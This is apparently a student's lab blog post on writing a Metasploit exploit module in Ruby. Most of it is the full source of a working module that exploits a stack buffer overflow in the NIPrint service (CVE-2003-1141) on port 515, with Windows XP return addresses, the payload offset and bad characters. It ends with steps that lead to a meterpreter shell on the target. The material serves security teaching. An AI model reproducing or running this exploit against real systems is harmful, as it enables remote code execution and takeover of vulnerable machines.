So today, I’m going to explain how exploits can be written as a metasploit module.
Metasploit modules are written in ruby. Even if you don’t know a lot about ruby, you should still be able to write a metasploit exploit module based on this discussion and the referencing some existing exploits available in metasploit.
Metasploit exploit module structure
A typical metasploit exploit module consists of the following components:
header and some dependencies
- Some comments about the exploit module
- require ‘msf/core’
class definition
includes
“def” definitions :
- initialize
- check (optional)
- exploit
You can put comments in your metasploit module by using the # character. That’s all we need to know for
now, let’s look at the steps to build a metasploit exploit module.
now, let’s look at the steps to build a metasploit exploit module.
----------------------------------------------------------------------------------------
##
# $Id: newniprint.rb 00001 2011-02-23 20:45:00Z Malkiat $
##
##
# This exploit is created by Malkiat Singh for Week 7 Lab in course info-6012 Hacking & Exploits
# This file is created to exploit the NIPrint running on remote machine
##
#started with some introduction to this module
require 'msf/core' #this line is required for the core functionality
class Metasploit3 < Msf::Exploit::Remote #inherits remote exploits properties
include Msf::Exploit::Remote::Tcp
# NIPrint listens on TCP, so we include remote tcp in module
def initialize(info = {})
super(update_info(info,
'Name' =>'Modified NIPrint Exploit',
#name shown for the exploit
'Description' =>%q{It performs a exploit of stack buffer overflow in NIPrint service running on remote machine},
'Author' =>['Malkiat Singh'],
#who wrote this module
'License' =>'Alone',
#licensed to whom
'Version' =>'$Revision: 00001 $',
#any revision number for this module
'References' =>[
['CVE', '2003-1141'],
['BID', '8968'],
#further references to this exploit
#further references to this exploit
],
'Privileged' => false,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a",
#characters breaking shell code
},
'Platform' => 'win',
'Targets' =>[
['Windows XP SP0', { 'Ret' => 0x77D5B99F }],
#window sp0 return address
#window sp0 return address
['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
#window sp3 return address
#window sp3 return address
],
'DefaultTarget' => 0,
#show the target to attack by default
'DisclosureDate' => 'Feb 23 2011'))
register_options(
[
Opt::RPORT(515)
#default port for remote niprint set to 515
], self.class )
end
def exploit
connect #make connection
req = rand_text_alphanumeric(8192)
#generate data to send
req[ 0, 2] = "\xeb\x33"
req[ 49, 4] = [target.ret].pack('V')
#putting return address to 49 position calculated from pattern_offset.rb and discussed in previous blog
req[ 53, payload.encoded.length ] = payload.encoded
#shell-code after return address
print_status("Trying target #{target.name}...")
sock.put(req) #send payload
handler #give handle to payload
disconnect
end
end
Following few screenshots show the procedure to run this exploit module:
First, find the written module using search command. This module should be placed inside ‘framework/msf3/modules/exploit’ directory. Run the metasploit and find the module.
Use the module and set options:
Set the option and run the exploit:
A session will be created and meterpreter shell is available to target the remote machine. There are number of commands to execute which you can see using help command.
